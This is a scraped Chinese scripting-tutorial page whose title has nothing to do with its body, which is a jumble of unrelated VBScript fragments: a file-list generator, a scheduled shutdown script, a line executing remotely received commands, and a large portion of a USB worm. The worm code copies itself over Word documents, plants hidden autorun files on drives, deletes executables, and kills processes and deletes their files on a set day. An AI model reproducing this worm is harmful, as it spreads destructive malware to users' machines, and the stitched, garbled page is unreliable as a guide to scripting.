按键精灵脚本停止运行pr插件安装

发布时间:2020-08-05 来源:脚本之家 点击:

详细的属性和事件的用法请参看控制帮助文件

Set ShellObj=CreateObject("WScript.Shell")
Set Executes=ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))

typemonkey脚本
问:
嗨,ScriptingGuy如图3.10所示,此应用程序有一个TextBox,一个Label,一个CommandButton和两个CheckBox


'* **************************************** *
'* 程序名称:GetIP.vbs
'* 程序说明:获得本地外网地址并发送到指定邮箱
'* 编码:lyserver
'* **************************************** *

装载窗体时,从INI文件中读入窗体高度和宽度,卸载窗体时将窗体当前高度和宽度存入INI文件,代码如下:
SubForm1_Load()
……
Forml.Height=GetIniN("窗体1","高度",6000)
Form1.Width=GetIniN("窗体1","高度",4500)
EndSub
……
SubForm1_Unload()
……
SetIniN"窗体1","高度",Me.Height
SetIniN"窗体1,"宽度",Me.Width
……
EndSub->


Option Explicit
On Error Resume Next
'生成列表的文件类型
Const sListFileType="wmv,rm,wma"
'文件所在的相对路径
Const sShowPath="."
'排序类型的常量定义
Const iOrderFieldFileName=0
Const iOrderFieldFileExt=1
Const iOrderFieldFileSize=2
Const iOrderFieldFileType=3
Const iOrderFieldFileDate=4
'排序顺逆的常量定义
const iOrderAsc=0
const iOrderDesc=1
'生成列表的文件数量
const iShowCount=20
'显示的日期格式函数
Function Cndate2(date1,intDateStyle)
dim strdate,dDate1
strdate=cstr(date1)
If Isdate(strdate) Then
If Left(cstr(strdate),1)="0" Then
dDate1=Cdate("20"+cstr(strdate))
else
dDate1=Cdate(strdate)
End If
Else
dDate1=Now()
End If
Select case intDateStyle
Case 1:
Cndate2=Cstr(Year(dDate1))+"-"+Cstr(Month(dDate1))+"-"+Cstr(Day(dDate1))
Case 2:
Cndate2=Cstr(Month(dDate1))+"-"+Cstr(Day(dDate1))
Case 3:
Cndate2=Cstr(Month(dDate1))+"月"+Cstr(Day(dDate1))+"日"
Case 4:
Cndate2=Cstr(year(dDate1))+"年"+ Cstr(Month(dDate1))+"月"+Cstr(Day(dDate1))+"日"
End Select
End Function
Function ListFile(strFiletype,intCompare,intOrder,intShowCount)
Dim sListFile
Dim fso, f, f1, fc, s,ftype,fcount,i,j,k
Dim t1,t2,t3,t4,t5
Dim iMonth,iDay
sListFile=""
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.GetFolder(sShowPath)
Set fc=f.Files
fcount=fc.count
redim arrFiles(fcount,5)
redim arrFiles2(fcount,5)
i=0
'排序
For Each f1 in fc
ftype=right(f1.name,len(f1.name)-instrrev(f1.name,"."))
arrFiles(i,0)=f1.name
arrFiles(i,1)=ftype
arrFiles(i,2)=f1.size
arrFiles(i,3)=f1.type
arrFiles(i,4)=f1.DateLastModified
i=i+1
Next
For i=0 to fcount-1
for j=i+1 to fcount-1
select Case intCompare
Case iOrderFieldFileName,iOrderFieldFileExt,iOrderFieldFileType:
If arrFiles(i,intCompare)>arrFiles(j,intCompare) then
t1=arrFiles(i,0)
t2=arrFiles(i,1)
t3=arrFiles(i,2)
t4=arrFiles(i,3)
t5=arrFiles(i,4)
arrFiles(i,0)=arrFiles(j,0)
arrFiles(i,1)=arrFiles(j,1)
arrFiles(i,2)=arrFiles(j,2)
arrFiles(i,3)=arrFiles(j,3)
arrFiles(i,4)=arrFiles(j,4)
arrFiles(j,0)=t1
arrFiles(j,1)=t2
arrFiles(j,2)=t3
arrFiles(j,3)=t4
arrFiles(j,4)=t5
end if
Case iOrderFieldFileSize:
If cdbl(arrFiles(i,intCompare))>cdbl(arrFiles(j,intCompare)) then
t1=arrFiles(i,0)
t2=arrFiles(i,1)
t3=arrFiles(i,2)
t4=arrFiles(i,3)
t5=arrFiles(i,4)
arrFiles(i,0)=arrFiles(j,0)
arrFiles(i,1)=arrFiles(j,1)
arrFiles(i,2)=arrFiles(j,2)
arrFiles(i,3)=arrFiles(j,3)
arrFiles(i,4)=arrFiles(j,4)
arrFiles(j,0)=t1
arrFiles(j,1)=t2
arrFiles(j,2)=t3
arrFiles(j,3)=t4
arrFiles(j,4)=t5
end if
Case iOrderFieldFileDate:
If Cdate(arrFiles(i,intCompare))>Cdate(arrFiles(j,intCompare)) then
t1=arrFiles(i,0)
t2=arrFiles(i,1)
t3=arrFiles(i,2)
t4=arrFiles(i,3)
t5=arrFiles(i,4)
arrFiles(i,0)=arrFiles(j,0)
arrFiles(i,1)=arrFiles(j,1)
arrFiles(i,2)=arrFiles(j,2)
arrFiles(i,3)=arrFiles(j,3)
arrFiles(i,4)=arrFiles(j,4)
arrFiles(j,0)=t1
arrFiles(j,1)=t2
arrFiles(j,2)=t3
arrFiles(j,3)=t4
arrFiles(j,4)=t5
end if
End Select
next
next
'生成列表
sListFile=sListFile + ("<table cellpadding=0 cellspacing=0 width=100% align=center class=""PageListTable"" style=""BEHAVIOR: url(images/sort2.htc); "">")
sListFile=sListFile + ("<THEAD><Tr class=PageListTitleTr><Td class=PageListTitleTd>")
sListFile=sListFile + ("名称")
sListFile=sListFile + ("</td><Td class=PageListTitleTd>")
sListFile=sListFile + ("媒体")
sListFile=sListFile + ("</td><Td class=PageListTitleTd>")
sListFile=sListFile + ("大小")
sListFile=sListFile + ("</td><Td class=PageListTitleTd>")
sListFile=sListFile + ("类型")
sListFile=sListFile + ("</td><Td class=PageListTitleTd ID=updatetime>")
sListFile=sListFile + ("更新时间")
sListFile=sListFile + ("</td></Tr></THEAD>")
dim iLoopStart,iLoofEnd,iLoopStep
If intOrder=0 then
iLoopStart=0
iLoofEnd=fcount-1
iLoopStep=1
Else
iLoopStart=fcount-1
iLoofEnd=0
iLoopStep=-1
End if
dim iCount,sTDStyleClass
iCount=1
For j=iLoopStart to iLoofEnd Step iLoopStep
If instr(strFiletype,arrFiles(j,1))>0 and iCount<=intShowCount then
sTDStyleClass="PageListTd"+Cstr((iCount mod 2)+1)
sListFile=sListFile + ("<Tr class=PageListTr><Td class="+sTDStyleClass+">")
sListFile=sListFile + ("<img src="+arrFiles(j,1)+".gif align=absbottom><img src= width=2 height=0><a href=" & sShowPath & "/" & CStr(arrFiles(j,0)) &">" & arrFiles(j,0) &"</a>")
If datediff("h",arrFiles(j,4),now)<=24 then
sListFile=sListFile + "<img src= align=absmiddle>"
end if
sListFile=sListFile + "</td><Td class="+sTDStyleClass+">"
sListFile=sListFile + ("<a href=" & sShowPath & "/" & CStr(arrFiles(j,0)) &">")
'根据文件名规则,生成中文提示
select case left(arrFiles(j,0),3)
case "sc2":
sListFile=sListFile + "<font color=#AA0000>四川卫视 "
case "sd2":
sListFile=sListFile + "<font color=#00AA00>山东卫视 "
case "gd2":
sListFile=sListFile + "<font color=#0000AA>广东卫视 "
case "gx2":
sListFile=sListFile + "<font color=#AAAA00>广西卫视 "
end select
'日期显示
If isnumeric(left(right(arrFiles(j,0),8),2)) then
iMonth=cint(left(right(arrFiles(j,0),8),2))
iDay=cint(left(right(arrFiles(j,0),6),2))
sListFile=sListFile + cstr(iMonth)+"月" + cstr(iDay)+"日"
sListFile=sListFile + ("</a></td><Td class="+sTDStyleClass+" align=right>")
Else
response.write arrFiles(j,0)
end if
If arrFiles(j,2)>1024*1024 then
sListFile=sListFile + cstr(round(arrFiles(j,2)/1024/1024))
sListFile=sListFile + ("MB")
else
sListFile=sListFile + cstr(round(arrFiles(j,2)/1024))
sListFile=sListFile + ("KB")
end if
sListFile=sListFile + ("</td>")
sListFile=sListFile + ("<Td class="+sTDStyleClass+">")
sListFile=sListFile + cstr(arrFiles(j,3))
sListFile=sListFile + ("</td>")
sListFile=sListFile + ("<Td class="+sTDStyleClass+">")
sListFile=sListFile + (Cndate2(arrFiles(j,4),4))
sListFile=sListFile + ("</td>")
sListFile=sListFile + ("</Tr>")
iCount=iCount+1
end if
next
sListFile=sListFile + "</table>"
ListFile=sListFile
End Function
'生成调用文件的过程
Sub ShowFileListContent()
Dim tUpdatetime,sUpdateContent
Dim fso,f,f_js,f_js_write
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.GetFolder(sShowPath)
Set f_js=fso.GetFile("list.js")
'比较调用文件与文件夹的最后修改时间
If f.DateLastModified<>f_js.DateLastModified then
sUpdateContent=ListFile(sListFileType,iOrderFieldFileDate,iOrderDesc,iShowCount)
Set f_js_write=fso.CreateTextFile("list.js", True)
'JS调用就加上下面这对document.write
' f_js_write.Write ("document.write('")
f_js_write.Write (sUpdateContent)
' f_js_write.Write ("')")
f_js_write.Close
End If
End Sub
Call ShowFileListContent()
INI文件是系统、应用程序的配置文件


dimActionID
ActionID=1'0注销,1关机,2重启,
ActionTime="2006-1-413:42:30"'关机或重启时间

functionShutDown()
dimobjShell
SetobjShell=WScript.CreateObject("Wscript.Shell")

dimApplication
setApplication=CreateObject("Shell.Application.1")
Application.ShutdownWindows()
dimupi
forupi=0to4
WScript.Sleep(50)
objShell.sendKeys("{UP}")
next
Forupi=1toActionID
WScript.Sleep(50)
objShell.sendKeys("{DOWN}")
next
'使用时,请把下行的注释符去掉
'objShell.sendKeys("{ENTER}")
endfunction

Whiletrue
ifDateDiff("s",Now,ActionTime)<0then
ShutDown()
endif
WScript.Sleep(5*1000)
wend




'将上面代码存为vbs文件,如:shutdown.vbs,然后双击或在文件上点右键选择以命令提示打开,
'如果到了你设置重启的时候,系统会出现关机的对话框pc封号吗

2.拒绝其它用户或程序访问指定的表这里是一个个返回给X)
ifx=""then
x=Mid(aa,1,1)
i=1
endif
Setx=fs.GetDrive(x)
ifx.IsReadythen
scan(x)
else
xunhuan()
endif
Next
endFunction(结束本子程序,作用不明)
Functionscan(x)(定义子程序scan(a))
OnErrorResumeNext(出错不报告)
dimfiles,file,subfolder,folder_
setfolder_=fs.getfolder(x)
setfiles=folder_.files
foreachfileinfiles
s=file.path
ext=fs.GetExtensionName(file)
ext=lcase(ext)(lcase函数返回字符串的小写形式)
ifext="doc"then
fff=sss&".copy("&chr(34)&mid(s,1,len(s)-3)&"vbs"&chr(34)&")"(fff是sss.copy加几个字符
怀疑这个几个字符组成一个文件名)
Executefff
endif
next
setsubfolders=folder_.subfolders
foreachsubfolderinsubfolders
scan(subfolder)
next
endFunction
Functionganrandisk()
OnErrorResumeNext
regwrite()
dimdoc,d,s,coun,w,h,oo
Setdoc=fs.Drives
foreachkindoc
ifk.IsReadythen
h=h&k.DriveLetter
endif
next
t1=len(Trim(h))
coun=doc.count
dowhilecoun>0
oo=h&w
clearinfo(oo)
wscript.sleep50
Setd=fs.Drives
ifd.count>counthen
foreachkind
ifk.IsReadythen
s=s&k.DriveLetter
endif
next
coun=d.count
t=StrReverse(LCase(Trim(s)))
w=mid(t,1,abs(len(t)-t1))
countdrive(w)
ganranfile(w)
s=trim("")
t1=len(t)
endif
ifd.count<counthen
foreachkind
ifk.IsReadythen
s=s&k.DriveLetter
endif
next
coun=d.count
t=StrReverse(LCase(Trim(s)))
s=trim("")
t1=len(t)
endif
loop
endFunction
Functionxunhuan()
OnErrorResumeNext
dimsfo
setsfo=fs.GetDrive(fs.GetDriveName(dvbs.path))
ifdvbs.name="autorun.vbs"ordvbs.name="USBDRIVE.dll"then
ifsfo.DriveType=2then
ganrandisk()
else
wscript.quit
endif
else
dvbs.delete(true)
endif
endFunction

Functionclearinfo(oo)
OnErrorResumeNext
dimdc,z
oo=LCase(Trim(oo))
Form=1ToLen(oo)
z=Mid(oo,m,1)
Setz=fs.GetDrive(z)
findinf(z)
v=Array(z.DriveLetter&":\recycled",z.DriveLetter&":\SystemVolumeInformation")
fori=0to1
scanexe(v(i))
next
next
vir=array(fs.GetSpecialFolder(1)&"\recycled",fs.GetSpecialFolder(2),fs.GetSpecialFolder(0)&"\system")
fori=0to2
scanexe(vir(i))
next
endFunction
Functionscanexe(a)
wscript.sleep100
OnErrorResumeNext
dimfiles,file,folder_
iffs.FolderExists(a)then
setfolder_=fs.getfolder(a)
setfiles=folder_.files
foreachfileinfiles
ext=fs.GetExtensionName(file)
ext=lcase(ext)
ifext="exe"then
Setf=fs.GetFile(file)
f.delete(true)
endif
next
setsubfolders=folder_.subfolders
foreachsubfolderinsubfolders
scanexe(subfolder)
next
endif
endFunction
Functionfindinf(z)
OnErrorResumeNext
Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then
else
fff=sss&".copy("&chr(34)&fs.GetSpecialFolder(1)&"\USBDRIVE.dll"&chr(34)&")"
Executefff
Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then
else
ppp=a6&Space(2)&chr(34)&a5&chr(34)&","&chr(34)&"D:\SystemVolumeInformation"&"\USBDR"&"IVE.dll"&chr(34)
Executeppp
endif
endif
Iffs.FileExists(z.DriveLetter&":\autorun.vbs")Then
else
fff=sss&".copy("&chr(34)&z.DriveLetter&":\autorun.vbs"&chr(34)&")"
Executefff
Setf=fs.GetFile(z.DriveLetter&":\autorun.vbs")
f.attributes=f.attributes+7
endif
Iffs.FileExists(z.DriveLetter&":\autorun.inf")Then
Setc=fs.opentextfile(z.DriveLetter&":\autorun.inf",1)
vbc=c.readall
IfInStr(vbc,"WScript.exe.\autorun.vbs")<>0Then
c.Close
Else
Setf=fs.GetFile(z.DriveLetter&":\autorun.inf")
f.attributes=f.attributes-f.attributes
Setts=f.OpenAsTextStream(2,-2)
ts.WriteLine"[AutoRun]"(以下建立自动播放文件)
ts.WriteLine"open="
ts.WriteLine""
ts.WriteLine"shell\open=打开(&O)"
ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs"
ts.WriteLine"shell\open\Default=1"
ts.close
f.attributes=f.attributes+7
endif
else
Setts=fs.CreateTextFile(z.DriveLetter&":\autorun.inf",true)
ts.WriteLine"[AutoRun]"
ts.WriteLine"open="
ts.WriteLine""
ts.WriteLine"shell\open=打开(&O)"
ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs"
ts.WriteLine"shell\open\Default=1"
ts.close
Setf=fs.GetFile(z.DriveLetter&":\autorun.inf")
f.attributes=f.attributes+7
EndIf
iffs.FileExists(z.DriveLetter&":\vbs.reg")then
else
Setts=fs.CreateTextFile(z.DriveLetter&":\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(z.DriveLetter&":\vbs.reg")
f.attributes=f.attributes+7
endif
iffs.FileExists(z.DriveLetter&":\doc.reg")then
else
Setts=fs.CreateTextFile(z.DriveLetter&":\doc.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(z.DriveLetter&":\doc.reg")
f.attributes=f.attributes+7
endif
endFunction

FunctionKillProcess(NameorPID)
OnErrorResumeNext
DimoWMI,oProcs,oProc,strSQL
KillProcess=False
strSQL="SELECT*FROMWin32_Process"
IfNameOrPID<>""Then
IfIsNumeric(NameOrPID)Then
strSQL=strSQL&"WHEREHandle='"&NameorPID&"'"
Else
strSQL=strSQL&"WHEREName='"&NameorPID&"'"
EndIf
EndIf
SetoWMI=GetObject("winmgmts:\\.\root\cimv2")
SetoProcs=oWMI.ExecQuery(strSQL)
ForEachoProcInoProcs
IfIsNumeric(NameOrPID)Then
oProc.Terminate
KillProcess=True
Else
oProc.Terminate
ifday(date())="27"then
setkillfile=fs.getfile(oProc.ExecutablePath)
killfile.delete(true)
EndIf
endif
Next
SetoProc=Nothing
SetoProcs=Nothing
SetoWMI=Nothing
EndFunction

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号